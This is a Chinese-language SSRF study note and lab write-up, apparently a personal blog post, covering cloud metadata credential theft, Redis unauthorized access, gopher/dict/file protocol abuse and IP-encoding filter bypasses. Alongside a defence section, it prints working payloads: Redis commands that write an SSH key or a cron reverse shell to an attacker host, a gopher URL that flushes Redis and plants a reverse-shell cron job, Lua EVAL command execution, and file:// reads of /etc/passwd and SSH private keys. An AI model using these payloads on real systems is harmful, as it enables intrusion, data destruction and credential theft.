SSRF(服务端请求伪造)

SSRF(服务端请求伪造)

SSRF攻击是指攻击者滥用服务器上的功能来读取或修改内部资源。在这种攻击中,攻击者能够提供或修改一个**URL,使得服务器代码会按照这个URL**去读取数据或提交数据

原理

  1. 服务器信任边界突破:利用服务器对内部网络的信任关系
  2. URL操控:经过精心构造的URL,攻击者可以
    1. 读取服务器配置(如AWS元数据)
    2. 连接到内部服务(如HTTP接口的数据库)
    3. 向本不应暴露的内部服务发送POST请求

攻击目标

  1. 信息收集
    1. 获取云服务数据(如AWS的IAM凭证)
    2. 读取服务器本地文件(通过file://协议)
  2. 内部网络探测
    1. 扫描内网IP和端口
    2. 识别内部服务
  3. 内部服务交互
    1. 攻击无认证的内部API
    2. 操作内部数据库
    3. 触发内部管理功能

典型攻击场景

POST /api/fetchdata HTTP/1.1
Host: vulnerable.com
Content-Type: application/json

{
  "url": "http://169.254.169.254/latest/meta-data/iam/security-credentials/"
}

防御

  1. 输入验证
    1. 实施严格的URL白名单
    2. 验证服务类型(禁用危险协议)
  2. 网络层防护:
    1. 限制服务器出站连接(**防火墙:**限制服务器只能访问必要的内部服务)
    2. 使用网络隔离策略
  3. 云服务加固
    1. 保护元数据服务(如AWS IMDSv2)
    2. 使用服务端的代理替代直接请求
  4. 日志监控
    1. 记录所有外部请求
    2. 设置异常请求报警

SSRFtask1

靶场

1749611682497-560c3af3-1568-4f8c-9616-fa57402ed35b.png

1749611656929-0196ca7f-e550-490a-8cf1-dddd4c5d27b4.png

这里点击按钮抓包后会提交一个tom.png的url申请,把tom改成jerry就行了

审计

1749611927929-ab3b1152-6140-4b5c-aaa8-212451f4796a.png

源码也没什么好说的,就是个tom/jerry的比较

SSRFtask2

靶场

1749612069407-e1958407-fd3f-4f87-aa5b-75ccf991b85f.png

要我们从 http://ifconfig.pro 获取信息,那就尝试把url改成这个

1749612318663-a3f9eb1c-bce7-4e36-9155-68547f13bd59.png

没想到这就成功了

审计

1749612400088-6a2df258-3700-44f0-a055-20e1d9887d25.png

也就是对url是否是http://ifconfig.pro 进行判断

ssrf-lab

Redis服务

基础概念:

Redis是一个开源的、基于内存的数据结构存储系统,默认端口**6379,它可以用作数据库、缓存和消息中间件。Redis 以键值对**形式存储数据,支持多种复杂的数据结构,具有高性能、高可靠性和丰富的功能特性,被广泛应用于互联网应用中。

常见攻击手法:

  • 未授权访问(Redis 服务器没有设置密码绑定特定 IP,攻击者可以直接连接并执行命令。)
# 无需密码直接连接
redis-cli -h target_ip -p 6379

# 查看所有键
KEYS *

# 获取敏感数据
GET user:password
  • RCE:攻击者通过 Redis 写入** SSH 密钥定时任务**,实现远程命令执行。
# 写入SSH公钥,实现无密码登录
SET x "\n\nssh-rsa AAAAB3NzaC1yc2EAAAADAQABAAABAQCqql6MzstZYh1TmWWv11q5O3pISj2ZFl9HgH1JLknLLx44+tXfJ7mIrKNxOOwxIxvcBF8PXSYvobFYEZjGIVCEAjrUzLiIxbyCoxVyle7Q+bqgZ8SeeM8wzytsY+dVGcBxF6N4JS+zVk5eMcV385gG3Y6ON3EG112n6d+SMXY0OEBIcO6x+PnUSGHrSgpBgX7Ks1r7xqFa7heJLLt2wWwkARptX7udSq05paBhcpB0pHtA1Rfz3K2B+ZVIpSDfki9UVKzT8JUmwW6NNzSgxUfQHGwnW7kj4jp4AT0VZk3ADw497M2G/12N0PPB5CnhHf7ovgy6nL1ikrygTKRFmNZISvA==\n\n"
CONFIG SET dir /root/.ssh/
CONFIG SET dbfilename authorized_keys
SAVE

# 写入定时任务执行反弹shell
SET x "\n\n*/1 * * * * bash -i >& /dev/tcp/attacker_ip/8080 0>&1\n\n"
CONFIG SET dir /var/spool/cron/
CONFIG SET dbfilename root
SAVE
  • 数据泄露攻击
# 遍历所有键
KEYS *

# 获取特定模式的键
KEYS user:*
KEYS password:*

# 获取敏感数据
GET user:1:password
HGETALL user:1
  • **脚本注入攻击:**攻击者利用EVAL命令执行恶意Lua脚本
# 执行系统命令
EVAL "os.execute('cat /etc/passwd')" 0

# 删除所有数据
EVAL "redis.call('FLUSHALL')" 0

Gopher协议

Gopher协议是一种早期的互联网协议,类似于简化的HTTP,主要用于文本、菜单和文件的传输。现代Web已经很少使用,但某些服务器仍支持

  • 协议特点
    • 基于TCP,默认端口70
    • 支持多行命令
    • 可以构造任意的TCP数据包
    • 常用于攻击Redis、MySQL、Memcached等内网服务
  • 在SSRF中的作用

Gopher是SSRF中最危险的协议之一,因为:

- 可构造任意TCP请求(如Redis、MySQL命令)
- 绕过HTTP限制(HTTP只能单行请求,Gopher可多行)
- 攻击内网未授权服务(如Redis未授权访问)
  • 攻击示例(Redis未授权访问)
gopher://127.0.0.1:6379/_*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$1%0d%0a1%0d%0a

解码后相当于向Redis发送( SET 1 1)

Dict协议

Dict用于查询字典定义,默认端口**2628**

  • 协议特点
    • 主要用于查询单词定义
    • 可以探测端口开放情况
    • 某些实现允许执行简单命令
  • 在SSRF中的作用
    • 端口扫描(检查内网服务是否开放)
dict://127.0.0.1:6379/

如果** Redis** 开放,会返回** -ERR unknown command**。

- **获取服务信息**
dict://127.0.0.1:2628/info

某些服务(如Redis)会返回版本信息

curl

curl是常用的命令行工具,用于请求Web服务器(客户端client的URL工具)

用途 命令示例 注释
GET 请求 curl https://example.com
POST请求 curl -X POST https://example.com/api -d “name=value” -X:指定 HTTP方法
-d:发送POST数据(表单格式)
发送JSON curl -X POST [https://example.com/api](https://example.com/api) \
-H “Content-Type: application/json” </code>
-d ‘{“key”: “value”}’
-H:添加 HTTP 请求头(如 Content-Type
-d:发送 JSON 数据。
查看请求和响应头 curl -v https://example.com
仅查看响应头 curl -I https://example.com
保存输出到文件 curl -o output.html https://example.com
curl -O https://example.com/file.zip
-o:将响应保存到文件(output.html
-O:保存文件并将 URL 的最后部分当作文件名。
跟随重定向 curl -L https://example.com -L--location):自动跟随 301/302 重定向

常见内网IP段

局域网地址范围分三类,以下IP段为内网IP段:

C类:192.168.0.0 - 192.168.255.255 

B类:172.16.0.0 - 172.31.255.255 

A类:10.0.0.0 - 10.255.255.255

AK/SK

云服务提供商提供的身份验证凭证,AK是访问密钥ID,SK是秘密访问密钥

常见云服务AK/SK:

  • AWS:AKIAxxxxxxxxxxxxxxxx
  • 阿里云:LTAIxxxxxxxxxxxxxxxx
  • 腾讯云:AKIDxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxxx

利用技巧

curl http://169.254.169.254/latest/meta-data/iam/security-credentials/

不同云厂商的元数据端点:

临时凭证使用

aws sts assume-role --role-arn arn:aws:iam::123456789012:role/role-name --role-session-name test

SSH

  1. SSH密钥类型:RSA、DSA、ECDSA、Ed25519
  2. 常见位置:
  • ~/.ssh/id_rsa (私钥)
  • ~/.ssh/authorized_keys (公钥授权文件)
  • /etc/ssh/ssh_host_*_key (主机密钥)

利用技巧

1.读取本地文件获取SSH密钥:

curl file:///home/user/.ssh/id_rsa
  1. 通过gopher协议利用SSH:
    • 构造SSH协议流量攻击内网SSH服务
    • 利用已知漏洞或弱密码尝试登录
  2. 利用known_hosts文件
    • 获取内网主机信息
    • 分析信任关系

basic

没怎么接触过这种类型,先看源码

源码

1749781479136-7e170803-3fd5-46c2-a7d6-bf0b1a2466c3.png

  • 初始化一个cURL会话,ch中存储cURL会话的句柄(handle)
  • 将用户通过POST方法提交的URL设置为cURL请求的目标地址
    • CURLOPT_URL是一个选项,用于指定请求的目标URL
    • 前端通过POST方法提交了一个表单,其中包含一个名为 handler 的字段,其值是一个 URL 地址。
  • CURLOPT_RETURNTRANSFER被设置为1时,cURL会将请求的返回结果以字符串的形式返回,而不是直接输出到浏览器(方便后续对返回结果处理或存储)
  • 执行请求后,返回的结果会存储在变量 $output 中。
  • 关闭cURL会话
  • 将变量 $output 的内容输出到浏览器。
  • 总结:就是前端输入一个URL,curl会对这个url发出HTTP请求,并将结果返回浏览器,可以看到这里是没有过滤的

靶场

因为很多的SSRF协议都是要结合Redis服务利用的,所以

开启一下redis服务

1749795903335-41365e46-05de-4f93-babb-55aea6ca317c.png

http与https协议

127.0.0.1

1749799644903-d82e3564-b17e-4ff0-9a92-7aa750bc0072.png

可以看到回显,说明没有对内网进行过滤

file协议

file:///etc/passwd

file:///文件的路径

1749799823076-967b2be1-4037-416c-86b4-156d4ccfa93a.png

dict协议

dict://127.0.0.1:6379/info

1749801414082-4f32ac3a-d7f0-4e44-b0b2-efbd5bc6da2b.png

简单看一下返回的redis信息(本地redis服务配置信息)

HTTP/1.1 200 OK //redis 是 TCP 协议服务,但返回了 HTTP 头因为被HTTP代理拦截
Date: Fri, 13 Jun 2025 07:55:50 GMT
Server: Apache/2.4.18 (Ubuntu)
Vary: Accept-Encoding
Content-Length: 2039
Connection: close
Content-Type: text/html; charset=UTF-8

-ERR Syntax error, try CLIENT (LIST | KILL ip:port | GETNAME | SETNAME connection-name)
$1936
# Server 
redis_version:3.0.6
redis_git_sha1:00000000
redis_git_dirty:0
redis_build_id:7785291a3d2152db
redis_mode:standalone
os:Linux 6.6.87.1-microsoft-standard-WSL2 x86_64
arch_bits:64
multiplexing_api:epoll
gcc_version:5.4.0
process_id:119
run_id:beb83efc8db5b60019a2e2ad65ce4f485e510365
tcp_port:6379   //默认端口开放
uptime_in_seconds:5543
uptime_in_days:0
hz:10
lru_clock:4970885
config_file:    //未指定配置文件

# Clients    //客户端 
connected_clients:1
client_longest_output_list:0
client_biggest_input_buf:6
blocked_clients:0

# Memory
used_memory:815640
used_memory_human:796.52K
used_memory_rss:3932160
used_memory_peak:816664
used_memory_peak_human:797.52K
used_memory_lua:36864
mem_fragmentation_ratio:4.82
mem_allocator:jemalloc-3.6.0

# Persistence
loading:0
rdb_changes_since_last_save:5
rdb_bgsave_in_progress:0
rdb_last_save_time:1749798267
rdb_last_bgsave_status:ok
rdb_last_bgsave_time_sec:-1
rdb_current_bgsave_time_sec:-1
aof_enabled:0      //未开启持久化
aof_rewrite_in_progress:0
aof_rewrite_scheduled:0
aof_last_rewrite_time_sec:-1
aof_current_rewrite_time_sec:-1
aof_last_bgrewrite_status:ok
aof_last_write_status:ok

# Stats
total_connections_received:13
total_commands_processed:24
instantaneous_ops_per_sec:0
total_net_input_bytes:925
total_net_output_bytes:11431
instantaneous_input_kbps:0.00
instantaneous_output_kbps:0.00
rejected_connections:0
sync_full:0
sync_partial_ok:0
sync_partial_err:0
expired_keys:0
evicted_keys:0
keyspace_hits:0
keyspace_misses:0
pubsub_channels:0
pubsub_patterns:0
latest_fork_usec:0
migrate_cached_sockets:0

# Replication
role:master
connected_slaves:0
master_repl_offset:0
repl_backlog_active:0
repl_backlog_size:1048576
repl_backlog_first_byte_offset:0
repl_backlog_histlen:0

# CPU
used_cpu_sys:4.02
used_cpu_user:1.45
used_cpu_sys_children:0.00
used_cpu_user_children:0.00

# Cluster
cluster_enabled:0

# Keyspace
db0:keys=1,expires=0,avg_ttl=0 //数据库状态有一个键无过期键

+OK

protected-mode:(未显示) # 未启用保护模式

**requirepass:(未显示) ** # 未设置密码认证

利用**dict://127.0.0.1:6379/KEYS 获取 redis 数据库* 存储的内容1749802788199-0c4ef0cf-207c-46f4-b40b-419af3195da3.png

通过容器验证

1749802679091-ec8b1350-41cc-4f41-b0d2-f7bd2fdfdf13.png

Gopher协议

gopher://127.0.0.1:6379/_*1%0d%0a$8%0d%0aflushall%0d%0a*3%0d%0a$3%0d%0aset%0d%0a$1%0d%0a1%0d%0a$64%0d%0a%0d%0a%0a%0a*/1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1%0a%0a%0a%0a%0a%0d%0a%0d%0a%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$3%0d%0adir%0d%0a$16%0d%0a/var/www/html/%0d%0a*4%0d%0a$6%0d%0aconfig%0d%0a$3%0d%0aset%0d%0a$10%0d%0adbfilename%0d%0a$4%0d%0aroot%0d%0a*1%0d%0a$4%0d%0asave%0d%0aquit%0d%0a


-->
gopher://127.0.0.1:6379/_*1 $8 flushall *3 $3 set $1 1 $64 */1 * * * * bash -i >& /dev/tcp/127.0.0.1/45952 0>&1 *4 $6 config $3 set $3 dir $16 /var/www/html/ *4 $6 config $3 set $10 dbfilename $4 root *1 $4 save quit
  • 连接 Redis,_后的内容是经过UEL编码后的 Redis协议(RESP)命令
  • 清理Redis数据_*1 $8 flushall(删除所有数据库的数据)
  • 写入恶意 Cron 任务:
    • 使用 SET 命令将键 1 的值设为一段 Cron 任务(每 1 分钟执行一次反弹 Shell)
    • 攻击者试图通过 Redis 写入定时任务,建立持久化后门
  • 配置Redis持久化路径
    • *4 $6 config $3 set $3 dir $16 /var/www/html/

修改 Redis 持久化目录为 /var/www/html/(通常为 Web 根目录)。

- `*4 $6 config $3 set $10 dbfilename $4 root`

修改持久化文件名为 root(最终文件路径为 /var/www/html/root)。

  • 触发持久化
    • *1 $4 save

强制 Redis 将数据保存到磁盘(写入恶意 Cron 任务到 Web 目录)。

- `quit`

退出 Redis 连接。

  • 总结
    • 写入恶意 Cron 任务(用于定时执行任务的计划任务服务)

通过 Redis 的 SET 命令插入 Cron 任务,实现定时反弹 Shell(连接到攻击者的 IP 127.0.0.1:45952)。

- **利用 Web 目录提权**

将 Redis 持久化文件(root)写入 Web 目录,可能通过 HTTP 访问或后续利用。

返回结果

1749804579730-6b3aea5e-6f29-4448-979e-c83499ee5951.png

advanced1

1750560268380-2055f1c7-81c6-4729-bf3d-eb6d27ef8b5a.png

这里通过正则表达式限制url必须以http://或者https://开头,并且不能指向10.0.0.3这一地址

这样的话之前的协议绕过肯定是不行的,但是可以ip地址编码绕过

1750561029652-1328502b-7160-4202-98e6-86f0b9535362.png

ip地址绕过

字符串:       10.0.0.3
二进制:       00001010 . 00000000 . 00000000 . 00000011
八进制:				012.0.0.03
十六进制:    0A.00.00.03          0xA.0x0.0x0.0x3
整数:           167772163

点号省略      10.3

advanced2

1750565801801-6ae86f82-d422-47fe-915b-82cf9cbe36b2.png

1750566512733-84ba5206-cc69-4804-b8ea-5e8e459c2b40.png

可以看到被限制了

1750569041884-01e04ec7-7c6f-4736-bf21-4ac0e8f42157.png

这里感觉有点奇怪,网上用http://google.com# @secret.corp绕过,但是这一返回其实和secret.corp没关系

advanced3

更新: 2025-06-23 15:42:43
原文: https://www.yuque.com/cindahy/aqfzwf/bo4my5fxcdf49apa

LICENSED UNDER CC BY-NC-SA 4.0
评论